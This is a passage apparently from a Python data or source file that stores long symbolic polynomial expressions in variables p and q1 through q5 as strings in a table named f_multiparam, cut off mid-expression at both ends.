18*q1**4*q2**3*q3 - 2*q1**4*q2**2*q3**3 - 2*q1**4*q2**2*q3**2*q4 + 18*q1**4*q2**2*q3**2 - 2*q1**4*q2**2*q3*q4**2 + 18*q1**4*q2**2*q3*q4 - 72*q1**4*q2**2*q3 - 2*q1**4*q2*q3**4 - 2*q1**4*q2*q3**3*q4 + 18*q1**4*q2*q3**3 - 2*q1**4*q2*q3**2*q4**2 + 18*q1**4*q2*q3**2*q4 - 72*q1**4*q2*q3**2 - 2*q1**4*q2*q3*q4**3 + 18*q1**4*q2*q3*q4**2 - 72*q1**4*q2*q3*q4 + 168*q1**4*q2*q3 - 2*q1**3*q2**5*q3 - 2*q1**3*q2**4*q3**2 - 2*q1**3*q2**4*q3*q4 + 18*q1**3*q2**4*q3 - 2*q1**3*q2**3*q3**3 - 2*q1**3*q2**3*q3**2*q4 + 18*q1**3*q2**3*q3**2 - 2*q1**3*q2**3*q3*q4**2 + 18*q1**3*q2**3*q3*q4 - 72*q1**3*q2**3*q3 - 2*q1**3*q2**2*q3**4 - 2*q1**3*q2**2*q3**3*q4 + 18*q1**3*q2**2*q3**3 - 2*q1**3*q2**2*q3**2*q4**2 + 18*q1**3*q2**2*q3**2*q4 - 72*q1**3*q2**2*q3**2 - 2*q1**3*q2**2*q3*q4**3 + 18*q1**3*q2**2*q3*q4**2 - 72*q1**3*q2**2*q3*q4 + 168*q1**3*q2**2*q3 - 2*q1**3*q2*q3**5 - 2*q1**3*q2*q3**4*q4 + 18*q1**3*q2*q3**4 - 2*q1**3*q2*q3**3*q4**2 + 18*q1**3*q2*q3**3*q4 - 72*q1**3*q2*q3**3 - 2*q1**3*q2*q3**2*q4**3 + 18*q1**3*q2*q3**2*q4**2 - 72*q1**3*q2*q3**2*q4 + 168*q1**3*q2*q3**2 - 2*q1**3*q2*q3*q4**4 + 18*q1**3*q2*q3*q4**3 - 72*q1**3*q2*q3*q4**2 + 168*q1**3*q2*q3*q4 - 252*q1**3*q2*q3 - 2*q1**2*q2**6*q3 - 2*q1**2*q2**5*q3**2 - 2*q1**2*q2**5*q3*q4 + 18*q1**2*q2**5*q3 - 2*q1**2*q2**4*q3**3 - 2*q1**2*q2**4*q3**2*q4 + 18*q1**2*q2**4*q3**2 - 2*q1**2*q2**4*q3*q4**2 + 18*q1**2*q2**4*q3*q4 - 72*q1**2*q2**4*q3 - 2*q1**2*q2**3*q3**4 - 2*q1**2*q2**3*q3**3*q4 + 18*q1**2*q2**3*q3**3 - 2*q1**2*q2**3*q3**2*q4**2 + 18*q1**2*q2**3*q3**2*q4 - 72*q1**2*q2**3*q3**2 - 2*q1**2*q2**3*q3*q4**3 + 18*q1**2*q2**3*q3*q4**2 - 72*q1**2*q2**3*q3*q4 + 168*q1**2*q2**3*q3 - 2*q1**2*q2**2*q3**5 - 2*q1**2*q2**2*q3**4*q4 + 18*q1**2*q2**2*q3**4 - 2*q1**2*q2**2*q3**3*q4**2 + 18*q1**2*q2**2*q3**3*q4 - 72*q1**2*q2**2*q3**3 - 2*q1**2*q2**2*q3**2*q4**3 + 18*q1**2*q2**2*q3**2*q4**2 - 72*q1**2*q2**2*q3**2*q4 + 168*q1**2*q2**2*q3**2 - 2*q1**2*q2**2*q3*q4**4 + 18*q1**2*q2**2*q3*q4**3 - 72*q1**2*q2**2*q3*q4**2 + 168*q1**2*q2**2*q3*q4 - 252*q1**2*q2**2*q3 - 2*q1**2*q2*q3**6 - 2*q1**2*q2*q3**5*q4 + 18*q1**2*q2*q3**5 - 2*q1**2*q2*q3**4*q4**2 + 18*q1**2*q2*q3**4*q4 - 72*q1**2*q2*q3**4 - 2*q1**2*q2*q3**3*q4**3 + 18*q1**2*q2*q3**3*q4**2 - 72*q1**2*q2*q3**3*q4 + 168*q1**2*q2*q3**3 - 2*q1**2*q2*q3**2*q4**4 + 18*q1**2*q2*q3**2*q4**3 - 72*q1**2*q2*q3**2*q4**2 + 168*q1**2*q2*q3**2*q4 - 252*q1**2*q2*q3**2 - 2*q1**2*q2*q3*q4**5 + 18*q1**2*q2*q3*q4**4 - 72*q1**2*q2*q3*q4**3 + 168*q1**2*q2*q3*q4**2 - 252*q1**2*q2*q3*q4 + 252*q1**2*q2*q3 - 2*q1*q2**7*q3 - 2*q1*q2**6*q3**2 - 2*q1*q2**6*q3*q4 + 18*q1*q2**6*q3 - 2*q1*q2**5*q3**3 - 2*q1*q2**5*q3**2*q4 + 18*q1*q2**5*q3**2 - 2*q1*q2**5*q3*q4**2 + 18*q1*q2**5*q3*q4 - 72*q1*q2**5*q3 - 2*q1*q2**4*q3**4 - 2*q1*q2**4*q3**3*q4 + 18*q1*q2**4*q3**3 - 2*q1*q2**4*q3**2*q4**2 + 18*q1*q2**4*q3**2*q4 - 72*q1*q2**4*q3**2 - 2*q1*q2**4*q3*q4**3 + 18*q1*q2**4*q3*q4**2 - 72*q1*q2**4*q3*q4 + 168*q1*q2**4*q3 - 2*q1*q2**3*q3**5 - 2*q1*q2**3*q3**4*q4 + 18*q1*q2**3*q3**4 - 2*q1*q2**3*q3**3*q4**2 + 18*q1*q2**3*q3**3*q4 - 72*q1*q2**3*q3**3 - 2*q1*q2**3*q3**2*q4**3 + 18*q1*q2**3*q3**2*q4**2 - 72*q1*q2**3*q3**2*q4 + 168*q1*q2**3*q3**2 - 2*q1*q2**3*q3*q4**4 + 18*q1*q2**3*q3*q4**3 - 72*q1*q2**3*q3*q4**2 + 168*q1*q2**3*q3*q4 - 252*q1*q2**3*q3 - 2*q1*q2**2*q3**6 - 2*q1*q2**2*q3**5*q4 + 18*q1*q2**2*q3**5 - 2*q1*q2**2*q3**4*q4**2 + 18*q1*q2**2*q3**4*q4 - 72*q1*q2**2*q3**4 - 2*q1*q2**2*q3**3*q4**3 + 18*q1*q2**2*q3**3*q4**2 - 72*q1*q2**2*q3**3*q4 + 168*q1*q2**2*q3**3 - 2*q1*q2**2*q3**2*q4**4 + 18*q1*q2**2*q3**2*q4**3 - 72*q1*q2**2*q3**2*q4**2 + 168*q1*q2**2*q3**2*q4 - 252*q1*q2**2*q3**2 - 2*q1*q2**2*q3*q4**5 + 18*q1*q2**2*q3*q4**4 - 72*q1*q2**2*q3*q4**3 + 168*q1*q2**2*q3*q4**2 - 252*q1*q2**2*q3*q4 + 252*q1*q2**2*q3 - 2*q1*q2*q3**7 - 2*q1*q2*q3**6*q4 + 18*q1*q2*q3**6 - 2*q1*q2*q3**5*q4**2 + 18*q1*q2*q3**5*q4 - 72*q1*q2*q3**5 - 2*q1*q2*q3**4*q4**3 + 18*q1*q2*q3**4*q4**2 - 72*q1*q2*q3**4*q4 + 168*q1*q2*q3**4 - 2*q1*q2*q3**3*q4**4 + 18*q1*q2*q3**3*q4**3 - 72*q1*q2*q3**3*q4**2 + 168*q1*q2*q3**3*q4 - 252*q1*q2*q3**3 - 2*q1*q2*q3**2*q4**5 + 18*q1*q2*q3**2*q4**4 - 72*q1*q2*q3**2*q4**3 + 168*q1*q2*q3**2*q4**2 - 252*q1*q2*q3**2*q4 + 252*q1*q2*q3**2 - 2*q1*q2*q3*q4**6 + 18*q1*q2*q3*q4**5 - 72*q1*q2*q3*q4**4 + 168*q1*q2*q3*q4**3 - 252*q1*q2*q3*q4**2 + 252*q1*q2*q3*q4 - 168*q1*q2*q3)' f_multiparam[10][5] = 'p*(p - 1)**5*(10*p**4*q1**6*q2*q3*q4 + 10*p**4*q1**5*q2**2*q3*q4 + 10*p**4*q1**5*q2*q3**2*q4 + 10*p**4*q1**5*q2*q3*q4**2 + 10*p**4*q1**5*q2*q3*q4*q5 - 90*p**4*q1**5*q2*q3*q4 + 10*p**4*q1**4*q2**3*q3*q4 + 10*p**4*q1**4*q2**2*q3**2*q4 + 10*p**4*q1**4*q2**2*q3*q4**2 + 10*p**4*q1**4*q2**2*q3*q4*q5 - 90*p**4*q1**4*q2**2*q3*q4 + 10*p**4*q1**4*q2*q3**3*q4 + 10*p**4*q1**4*q2*q3**2*q4**2 + 10*p**4*q1**4*q2*q3**2*q4*q5 - 90*p**4*q1**4*q2*q3**2*q4 + 10*p**4*q1**4*q2*q3*q4**3 + 10*p**4*q1**4*q2*q3*q4**2*q5 - 90*p**4*q1**4*q2*q3*q4**2 + 10*p**4*q1**4*q2*q3*q4*q5**2 - 90*p**4*q1**4*q2*q3*q4*q5 + 360*p**4*q1**4*q2*q3*q4 + 10*p**4*q1**3*q2**4*q3*q4 + 10*p**4*q1**3*q2**3*q3**2*q4 + 10*p**4*q1**3*q2**3*q3*q4**2 + 10*p**4*q1**3*q2**3*q3*q4*q5 - 90*p**4*q1**3*q2**3*q3*q4 + 10*p**4*q1**3*q2**2*q3**3*q4 + 10*p**4*q1**3*q2**2*q3**2*q4**2 + 10*p**4*q1**3*q2**2*q3**2*q4*q5 - 90*p**4*q1**3*q2**2*q3**2*q4 + 10*p**4*q1**3*q2**2*q3*q4**3 + 10*p**4*q1**3*q2**2*q3*q4**2*q5 - 90*p**4*q1**3*q2**2*q3*q4**2 + 10*p**4*q1**3*q2**2*q3*q4*q5**2 - 90*p**4*q1**3*q2**2*q3*q4*q5 + 360*p**4*q1**3*q2**2*q3*q4 + 10*p**4*q1**3*q2*q3**4*q4 + 10*p**4*q1**3*q2*q3**3*q4**2 + 10*p**4*q1**3*q2*q3**3*q4*q5 - 90*p**4*q1**3*q2*q3**3*q4 + 10*p**4*q1**3*q2*q3**2*q4**3 + 10*p**4*q1**3*q2*q3**2*q4**2*q5 - 90*p**4*q1**3*q2*q3**2*q4**2 + 10*p**4*q1**3*q2*q3**2*q4*q5**2 - 90*p**4*q1**3*q2*q3**2*q4*q5 + 360*p**4*q1**3*q2*q3**2*q4 + 10*p**4*q1**3*q2*q3*q4**4 + 10*p**4*q1**3*q2*q3*q4**3*q5 - 90*p**4*q1**3*q2*q3*q4**3 + 10*p**4*q1**3*q2*q3*q4**2*q5**2 - 90*p**4*q1**3*q2*q3*q4**2*q5 + 360*p**4*q1**3*q2*q3*q4**2 + 10*p**4*q1**3*q2*q3*q4*q5**3 - 90*p**4*q1**3*q2*q3*q4*q5**2 + 360*p**4*q1**3*q2*q3*q4*q5 - 840*p**4*q1**3*q2*q3*q4 + 10*p**4*q1**2*q2**5*q3*q4 + 10*p**4*q1**2*q2**4*q3**2*q4 + 10*p**4*q1**2*q2**4*q3*q4**2 + 10*p**4*q1**2*q2**4*q3*q4*q5 - 90*p**4*q1**2*q2**4*q3*q4 + 10*p**4*q1**2*q2**3*q3**3*q4 + 10*p**4*q1**2*q2**3*q3**2*q4**2 + 10*p**4*q1**2*q2**3*q3**2*q4*q5 - 90*p**4*q1**2*q2**3*q3**2*q4 + 10*p**4*q1**2*q2**3*q3*q4**3 + 10*p**4*q1**2*q2**3*q3*q4**2*q5 - 90*p**4*q1**2*q2**3*q3*q4**2 + 10*p**4*q1**2*q2**3*q3*q4*q5**2 - 90*p**4*q1**2*q2**3*q3*q4*q5 + 360*p**4*q1**2*q2**3*q3*q4 + 10*p**4*q1**2*q2**2*q3**4*q4 + 10*p**4*q1**2*q2**2*q3**3*q4**2 + 10*p**4*q1**2*q2**2*q3**3*q4*q5 - 90*p**4*q1**2*q2**2*q3**3*q4 + 10*p**4*q1**2*q2**2*q3**2*q4**3 + 10*p**4*q1**2*q2**2*q3**2*q4**2*q5 - 90*p**4*q1**2*q2**2*q3**2*q4**2 + 10*p**4*q1**2*q2**2*q3**2*q4*q5**2 - 90*p**4*q1**2*q2**2*q3**2*q4*q5 + 360*p**4*q1**2*q2**2*q3**2*q4 + 10*p**4*q1**2*q2**2*q3*q4**4 + 10*p**4*q1**2*q2**2*q3*q4**3*q5 - 90*p**4*q1**2*q2**2*q3*q4**3 + 10*p**4*q1**2*q2**2*q3*q4**2*q5**2 - 90*p**4*q1**2*q2**2*q3*q4**2*q5 + 360*p**4*q1**2*q2**2*q3*q4**2 + 10*p**4*q1**2*q2**2*q3*q4*q5**3 - 90*p**4*q1**2*q2**2*q3*q4*q5**2 + 360*p**4*q1**2*q2**2*q3*q4*q5 - 840*p**4*q1**2*q2**2*q3*q4 + 10*p**4*q1**2*q2*q3**5*q4 + 10*p**4*q1**2*q2*q3**4*q4**2 + 10*p**4*q1**2*q2*q3**4*q4*q5 - 90*p**4*q1**2*q2*q3**4*q4 + 10*p**4*q1**2*q2*q3**3*q4**3 + 10*p**4*q1**2*q2*q3**3*q4**2*q5 - 90*p**4*q1**2*q2*q3**3*q4**2 + 10*p**4*q1**2*q2*q3**3*q4*q5**2 - 90*p**4*q1**2*q2*q3**3*q4*q5 + 360*p**4*q1**2*q2*q3**3*q4 + 10*p**4*q1**2*q2*q3**2*q4**4 + 10*p**4*q1**2*q2*q3**2*q4**3*q5 - 90*p**4*q1**2*q2*q3**2*q4**3 + 10*p**4*q1**2*q2*q3**2*q4**2*q5**2 - 90*p**4*q1**2*q2*q3**2*q4**2*q5 + 360*p**4*q1**2*q2*q3**2*q4**2 + 10*p**4*q1**2*q2*q3**2*q4*q5**3 - 90*p**4*q1**2*q2*q3**2*q4*q5**2 + 360*p**4*q1**2*q2*q3**2*q4*q5 - 840*p**4*q1**2*q2*q3**2*q4 + 10*p**4*q1**2*q2*q3*q4**5 + 10*p**4*q1**2*q2*q3*q4**4*q5 - 90*p**4*q1**2*q2*q3*q4**4 + 10*p**4*q1**2*q2*q3*q4**3*q5**2 - 90*p**4*q1**2*q2*q3*q4**3*q5 + 360*p**4*q1**2*q2*q3*q4**3 + 10*p**4*q1**2*q2*q3*q4**2*q5**3 - 90*p**4*q1**2*q2*q3*q4**2*q5**2 + 360*p**4*q1**2*q2*q3*q4**2*q5 - 840*p**4*q1**2*q2*q3*q4**2 + 10*p**4*q1**2*q2*q3*q4*q5**4 - 90*p**4*q1**2*q2*q3*q4*q5**3 + 360*p**4*q1**2*q2*q3*q4*q5**2 - 840*p**4*q1**2*q2*q3*q4*q5 + 1260*p**4*q1**2*q2*q3*q4 + 10*p**4*q1*q2**6*q3*q4 + 10*p**4*q1*q2**5*q3**2*q4 + 10*p**4*q1*q2**5*q3*q4**2 + 10*p**4*q1*q2**5*q3*q4*q5 - 90*p**4*q1*q2**5*q3*q4 + 10*p**4*q1*q2**4*q3**3*q4 + 10*p**4*q1*q2**4*q3**2*q4**2 + 10*p**4*q1*q2**4*q3**2*q4*q5 - 90*p**4*q1*q2**4*q3**2*q4 + 10*p**4*q1*q2**4*q3*q4**3 + 10*p**4*q1*q2**4*q3*q4**2*q5 - 90*p**4*q1*q2**4*q3*q4**2 + 10*p**4*q1*q2**4*q3*q4*q5**2 - 90*p**4*q1*q2**4*q3*q4*q5 + 360*p**4*q1*q2**4*q3*q4 + 10*p**4*q1*q2**3*q3**4*q4 + 10*p**4*q1*q2**3*q3**3*q4**2 + 10*p**4*q1*q2**3*q3**3*q4*q5 - 90*p**4*q1*q2**3*q3**3*q4 + 10*p**4*q1*q2**3*q3**2*q4**3 + 10*p**4*q1*q2**3*q3**2*q4**2*q5 - 90*p**4*q1*q2**3*q3**2*q4**2 + 10*p**4*q1*q2**3*q3**2*q4*q5**2 - 90*p**4*q1*q2**3*q3**2*q4*q5 + 360*p**4*q1*q2**3*q3**2*q4 + 10*p**4*q1*q2**3*q3*q4**4 + 10*p**4*q1*q2**3*q3*q4**3*q5 - 90*p**4*q1*q2**3*q3*q4**3 + 10*p**4*q1*q2**3*q3*q4**2*q5**2 - 90*p**4*q1*q2**3*q3*q4**2*q5 + 360*p**4*q1*q2**3*q3*q4**2 + 10*p**4*q1*q2**3*q3*q4*q5**3 - 90*p**4*q1*q2**3*q3*q4*q5**2 + 360*p**4*q1*q2**3*q3*q4*q5 - 840*p**4*q1*q2**3*q3*q4 + 10*p**4*q1*q2**2*q3**5*q4 + 10*p**4*q1*q2**2*q3**4*q4**2 + 10*p**4*q1*q2**2*q3**4*q4*q5 - 90*p**4*q1*q2**2*q3**4*q4 + 10*p**4*q1*q2**2*q3**3*q4**3 + 10*p**4*q1*q2**2*q3**3*q4**2*q5 - 90*p**4*q1*q2**2*q3**3*q4**2 + 10*p**4*q1*q2**2*q3**3*q4*q5**2 - 90*p**4*q1*q2**2*q3**3*q4*q5 + 360*p**4*q1*q2**2*q3**3*q4 + 10*p**4*q1*q2**2*q3**2*q4**4 + 10*p**4*q1*q2**2*q3**2*q4**3*q5 - 90*p**4*q1*q2**2*q3**2*q4**3 + 10*p**4*q1*q2**2*q3**2*q4**2*q5**2 - 90*p**4*q1*q2**2*q3**2*q4**2*q5 + 360*p**4*q1*q2**2*q3**2*q4**2 + 10*p**4*q1*q2**2*q3**2*q4*q5**3 - 90*p**4*q1*q2**2*q3**2*q4*q5**2 + 360*p**4*q1*q2**2*q3**2*q4*q5 - 840*p**4*q1*q2**2*q3**2*q4 + 10*p**4*q1*q2**2*q3*q4**5 + 10*p**4*q1*q2**2*q3*q4**4*q5 - 90*p**4*q1*q2**2*q3*q4**4 + 10*p**4*q1*q2**2*q3*q4**3*q5**2 - 90*p**4*q1*q2**2*q3*q4**3*q5 + 360*p**4*q1*q2**2*q3*q4**3 + 10*p**4*q1*q2**2*q3*q4**2*q5**3 - 90*p**4*q1*q2**2*q3*q4**2*q5**2 + 360*p**4*q1*q2**2*q3*q4**2*q5 - 840*p**4*q1*q2**2*q3*q4**2 + 10*p**4*q1*q2**2*q3*q4*q5**4 - 90*p**4*q1*q2**2*q3*q4*q5**3 + 360*p**4*q1*q2**2*q3*q4*q5**2 - 840*p**4*q1*q2**2*q3*q4*q5 + 1260*p**4*q1*q2**2*q3*q4 + 10*p**4*q1*q2*q3**6*q4 + 10*p**4*q1*q2*q3**5*q4**2 + 10*p**4*q1*q2*q3**5*q4*q5 - 90*p**4*q1*q2*q3**5*q4 + 10*p**4*q1*q2*q3**4*q4**3 + 10*p**4*q1*q2*q3**4*q4**2*q5 - 90*p**4*q1*q2*q3**4*q4**2 + 10*p**4*q1*q2*q3**4*q4*q5**2 - 90*p**4*q1*q2*q3**4*q4*q5 + 360*p**4*q1*q2*q3**4*q4 + 10*p**4*q1*q2*q3**3*q4**4 + 10*p**4*q1*q2*q3**3*q4**3*q5 - 90*p**4*q1*q2*q3**3*q4**3 + 10*p**4*q1*q2*q3**3*q4**2*q5**2 - 90*p**4*q1*q2*q3**3*q4**2*q5 + 360*p**4*q1*q2*q3**3*q4**2 + 10*p**4*q1*q2*q3**3*q4*q5**3 - 90*p**4*q1*q2*q3**3*q4*q5**2 + 360*p**4*q1*q2*q3**3*q4*q5 - 840*p**4*q1*q2*q3**3*q4 + 10*p**4*q1*q2*q3**2*q4**5 + 10*p**4*q1*q2*q3**2*q4**4*q5 - 90*p**4*q1*q2*q3**2*q4**4 + 10*p**4*q1*q2*q3**2*q4**3*q5**2 - 90*p**4*q1*q2*q3**2*q4**3*q5 + 360*p**4*q1*q2*q3**2*q4**3 + 10*p**4*q1*q2*q3**2*q4**2*q5**3 - 90*p**4*q1*q2*q3**2*q4**2*q5**2 + 360*p**4*q1*q2*q3**2*q4**2*q5 - 840*p**4*q1*q2*q3**2*q4**2 + 10*p**4*q1*q2*q3**2*q4*q5**4 - 90*p**4*q1*q2*q3**2*q4*q5**3 + 360*p**4*q1*q2*q3**2*q4*q5**2 - 840*p**4*q1*q2*q3**2*q4*q5 + 1260*p**4*q1*q2*q3**2*q4 + 10*p**4*q1*q2*q3*q4**6 + 10*p**4*q1*q2*q3*q4**5*q5 - 90*p**4*q1*q2*q3*q4**5 + 10*p**4*q1*q2*q3*q4**4*q5**2 - 90*p**4*q1*q2*q3*q4**4*q5 + 360*p**4*q1*q2*q3*q4**4 + 10*p**4*q1*q2*q3*q4**3*q5**3 - 90*p**4*q1*q2*q3*q4**3*q5**2 + 360*p**4*q1*q2*q3*q4**3*q5 - 840*p**4*q1*q2*q3*q4**3 + 10*p**4*q1*q2*q3*q4**2*q5**4 - 90*p**4*q1*q2*q3*q4**2*q5**3 + 360*p**4*q1*q2*q3*q4**2*q5**2 - 840*p**4*q1*q2*q3*q4**2*q5 + 1260*p**4*q1*q2*q3*q4**2 + 10*p**4*q1*q2*q3*q4*q5**5 - 90*p**4*q1*q2*q3*q4*q5**4 + 360*p**4*q1*q2*q3*q4*q5**3 - 840*p**4*q1*q2*q3*q4*q5**2 + 1260*p**4*q1*q2*q3*q4*q5 - 1260*p**4*q1*q2*q3*q4 - 45*p**4*q2**6*q3*q4 - 45*p**4*q2**5*q3**2*q4 - 45*p**4*q2**5*q3*q4**2 - 45*p**4*q2**5*q3*q4*q5 + 360*p**4*q2**5*q3*q4 - 45*p**4*q2**4*q3**3*q4 - 45*p**4*q2**4*q3**2*q4**2 - 45*p**4*q2**4*q3**2*q4*q5 + 360*p**4*q2**4*q3**2*q4 - 45*p**4*q2**4*q3*q4**3 - 45*p**4*q2**4*q3*q4**2*q5 + 360*p**4*q2**4*q3*q4**2 - 45*p**4*q2**4*q3*q4*q5**2 + 360*p**4*q2**4*q3*q4*q5 - 1260*p**4*q2**4*q3*q4 - 45*p**4*q2**3*q3**4*q4 - 45*p**4*q2**3*q3**3*q4**2 - 45*p**4*q2**3*q3**3*q4*q5 + 360*p**4*q2**3*q3**3*q4 - 45*p**4*q2**3*q3**2*q4**3 - 45*p**4*q2**3*q3**2*q4**2*q5 + 360*p**4*q2**3*q3**2*q4**2 - 45*p**4*q2**3*q3**2*q4*q5**2 + 360*p**4*q2**3*q3**2*q4*q5 - 1260*p**4*q2**3*q3**2*q4 - 45*p**4*q2**3*q3*q4**4 - 45*p**4*q2**3*q3*q4**3*q5 + 360*p**4*q2**3*q3*q4**3 - 45*p**4*q2**3*q3*q4**2*q5**2 + 360*p**4*q2**3*q3*q4**2*q5 - 1260*p**4*q2**3*q3*q4**2 - 45*p**4*q2**3*q3*q4*q5**3 + 360*p**4*q2**3*q3*q4*q5**2 - 1260*p**4*q2**3*q3*q4*q5 + 2520*p**4*q2**3*q3*q4 - 45*p**4*q2**2*q3**5*q4 - 45*p**4*q2**2*q3**4*q4**2 - 45*p**4*q2**2*q3**4*q4*q5 + 360*p**4*q2**2*q3**4*q4 - 45*p**4*q2**2*q3**3*q4**3 - 45*p**4*q2**2*q3**3*q4**2*q5 + 360*p**4*q2**2*q3**3*q4**2 - 45*p**4*q2**2*q3**3*q4*q5**2 + 360*p**4*q2**2*q3**3*q4*q5 - 1260*p**4*q2**2*q3**3*q4 - 45*p**4*q2**2*q3**2*q4**4 - 45*p**4*q2**2*q3**2*q4**3*q5 + 360*p**4*q2**2*q3**2*q4**3 - 45*p**4*q2**2*q3**2*q4**2*q5**2 + 360*p**4*q2**2*q3**2*q4**2*q5 - 1260*p**4*q2**2*q3**2*q4**2 - 45*p**4*q2**2*q3**2*q4*q5**3 + 360*p**4*q2**2*q3**2*q4*q5**2 - 1260*p**4*q2**2*q3**2*q4*q5 + 2520*p**4*q2**2*q3**2*q4 - 45*p**4*q2**2*q3*q4**5 - 45*p**4*q2**2*q3*q4**4*q5 + 360*p**4*q2**2*q3*q4**4 - 45*p**4*q2**2*q3*q4**3*q5**2 + 360*p**4*q2**2*q3*q4**3*q5 - 1260*p**4*q2**2*q3*q4**3 - 45*p**4*q2**2*q3*q4**2*q5**3 + 360*p**4*q2**2*q3*q4**2*q5**2 - 1260*p**4*q2**2*q3*q4**2*q5 + 2520*p**4*q2**2*q3*q4**2 - 45*p**4*q2**2*q3*q4*q5**4 + 360*p**4*q2**2*q3*q4*q5**3 - 1260*p**4*q2**2*q3*q4*q5**2 + 2520*p**4*q2**2*q3*q4*q5 - 3150*p**4*q2**2*q3*q4 - 45*p**4*q2*q3**6*q4 - 45*p**4*q2*q3**5*q4**2 - 45*p**4*q2*q3**5*q4*q5 + 360*p**4*q2*q3**5*q4 - 45*p**4*q2*q3**4*q4**3 - 45*p**4*q2*q3**4*q4**2*q5 + 360*p**4*q2*q3**4*q4**2 - 45*p**4*q2*q3**4*q4*q5**2 + 360*p**4*q2*q3**4*q4*q5 - 1260*p**4*q2*q3**4*q4 - 45*p**4*q2*q3**3*q4**4 - 45*p**4*q2*q3**3*q4**3*q5 + 360*p**4*q2*q3**3*q4**3 - 45*p**4*q2*q3**3*q4**2*q5**2 + 360*p**4*q2*q3**3*q4**2*q5 - 1260*p**4*q2*q3**3*q4**2 - 45*p**4*q2*q3**3*q4*q5**3 + 360*p**4*q2*q3**3*q4*q5**2 - 1260*p**4*q2*q3**3*q4*q5 + 2520*p**4*q2*q3**3*q4 - 45*p**4*q2*q3**2*q4**5 - 45*p**4*q2*q3**2*q4**4*q5 + 360*p**4*q2*q3**2*q4**4 - 45*p**4*q2*q3**2*q4**3*q5**2 + 360*p**4*q2*q3**2*q4**3*q5 - 1260*p**4*q2*q3**2*q4**3 - 45*p**4*q2*q3**2*q4**2*q5**3 + 360*p**4*q2*q3**2*q4**2*q5**2 - 1260*p**4*q2*q3**2*q4**2*q5 + 2520*p**4*q2*q3**2*q4**2 - 45*p**4*q2*q3**2*q4*q5**4 + 360*p**4*q2*q3**2*q4*q5**3 - 1260*p**4*q2*q3**2*q4*q5**2 + 2520*p**4*q2*q3**2*q4*q5 - 3150*p**4*q2*q3**2*q4 - 45*p**4*q2*q3*q4**6 - 45*p**4*q2*q3*q4**5*q5 + 360*p**4*q2*q3*q4**5 - 45*p**4*q2*q3*q4**4*q5**2 + 360*p**4*q2*q3*q4**4*q5 - 1260*p**4*q2*q3*q4**4 - 45*p**4*q2*q3*q4**3*q5**3 + 360*p**4*q2*q3*q4**3*q5**2 - 1260*p**4*q2*q3*q4**3*q5 + 2520*p**4*q2*q3*q4**3 - 45*p**4*q2*q3*q4**2*q5**4 + 360*p**4*q2*q3*q4**2*q5**3 - 1260*p**4*q2*q3*q4**2*q5**2 + 2520*p**4*q2*q3*q4**2*q5 - 3150*p**4*q2*q3*q4**2 - 45*p**4*q2*q3*q4*q5**5 + 360*p**4*q2*q3*q4*q5**4 - 1260*p**4*q2*q3*q4*q5**3 + 2520*p**4*q2*q3*q4*q5**2 - 3150*p**4*q2*q3*q4*q5 + 2520*p**4*q2*q3*q4 + 120*p**4*q3**6*q4 + 120*p**4*q3**5*q4**2 + 120*p**4*q3**5*q4*q5 - 840*p**4*q3**5*q4 + 120*p**4*q3**4*q4**3 + 120*p**4*q3**4*q4**2*q5 - 840*p**4*q3**4*q4**2 + 120*p**4*q3**4*q4*q5**2 - 840*p**4*q3**4*q4*q5 + 2520*p**4*q3**4*q4 + 120*p**4*q3**3*q4**4 + 120*p**4*q3**3*q4**3*q5 - 840*p**4*q3**3*q4**3 + 120*p**4*q3**3*q4**2*q5**2 - 840*p**4*q3**3*q4**2*q5 + 2520*p**4*q3**3*q4**2 + 120*p**4*q3**3*q4*q5**3 - 840*p**4*q3**3*q4*q5**2 + 2520*p**4*q3**3*q4*q5 - 4200*p**4*q3**3*q4 + 120*p**4*q3**2*q4**5 + 120*p**4*q3**2*q4**4*q5 - 840*p**4*q3**2*q4**4 + 120*p**4*q3**2*q4**3*q5**2 - 840*p**4*q3**2*q4**3*q5 + 2520*p**4*q3**2*q4**3 + 120*p**4*q3**2*q4**2*q5**3 - 840*p**4*q3**2*q4**2*q5**2 + 2520*p**4*q3**2*q4**2*q5 - 4200*p**4*q3**2*q4**2 + 120*p**4*q3**2*q4*q5**4 - 840*p**4*q3**2*q4*q5**3 + 2520*p**4*q3**2*q4*q5**2 - 4200*p**4*q3**2*q4*q5 + 4200*p**4*q3**2*q4 + 120*p**4*q3*q4**6 + 120*p**4*q3*q4**5*q5 - 840*p**4*q3*q4**5 + 120*p**4*q3*q4**4*q5**2 - 840*p**4*q3*q4**4*q5 + 2520*p**4*q3*q4**4 + 120*p**4*q3*q4**3*q5**3 - 840*p**4*q3*q4**3*q5**2 + 2520*p**4*q3*q4**3*q5 - 4200*p**4*q3*q4**3 + 120*p**4*q3*q4**2*q5**4 - 840*p**4*q3*q4**2*q5**3 + 2520*p**4*q3*q4**2*q5**2 - 4200*p**4*q3*q4**2*q5 + 4200*p**4*q3*q4**2 + 120*p**4*q3*q4*q5**5 - 840*p**4*q3*q4*q5**4 + 2520*p**4*q3*q4*q5**3 - 4200*p**4*q3*q4*q5**2 + 4200*p**4*q3*q4*q5 - 2520*p**4*q3*q4 - 210*p**4*q4**6 - 210*p**4*q4**5*q5 + 1260*p**4*q4**5 - 210*p**4*q4**4*q5**2 + 1260*p**4*q4**4*q5 - 3150*p**4*q4**4 - 210*p**4*q4**3*q5**3 + 1260*p**4*q4**3*q5**2 - 3150*p**4*q4**3*q5 + 4200*p**4*q4**3 - 210*p**4*q4**2*q5**4 + 1260*p**4*q4**2*q5**3 - 3150*p**4*q4**2*q5**2 + 4200*p**4*q4**2*q5 - 3150*p**4*q4**2 - 210*p**4*q4*q5**5 + 1260*p**4*q4*q5**4 - 3150*p**4*q4*q5**3 + 4200*p**4*q4*q5**2 - 3150*p**4*q4*q5 + 1260*p**4*q4 + 252*p**4*q5**5 - 1260*p**4*q5**4 + 2520*p**4*q5**3 - 2520*p**4*q5**2 + 1260*p**4*q5 - 252*p**4 - 40*p**3*q1**6*q2*q3*q4 - 40*p**3*q1**5*q2**2*q3*q4 - 40*p**3*q1**5*q2*q3**2*q4 - 40*p**3*q1**5*q2*q3*q4**2 - 40*p**3*q1**5*q2*q3*q4*q5 + 360*p**3*q1**5*q2*q3*q4 - 40*p**3*q1**4*q2**3*q3*q4 - 40*p**3*q1**4*q2**2*q3**2*q4 - 40*p**3*q1**4*q2**2*q3*q4**2 - 40*p**3*q1**4*q2**2*q3*q4*q5 + 360*p**3*q1**4*q2**2*q3*q4 - 40*p**3*q1**4*q2*q3**3*q4 - 40*p**3*q1**4*q2*q3**2*q4**2 - 40*p**3*q1**4*q2*q3**2*q4*q5 + 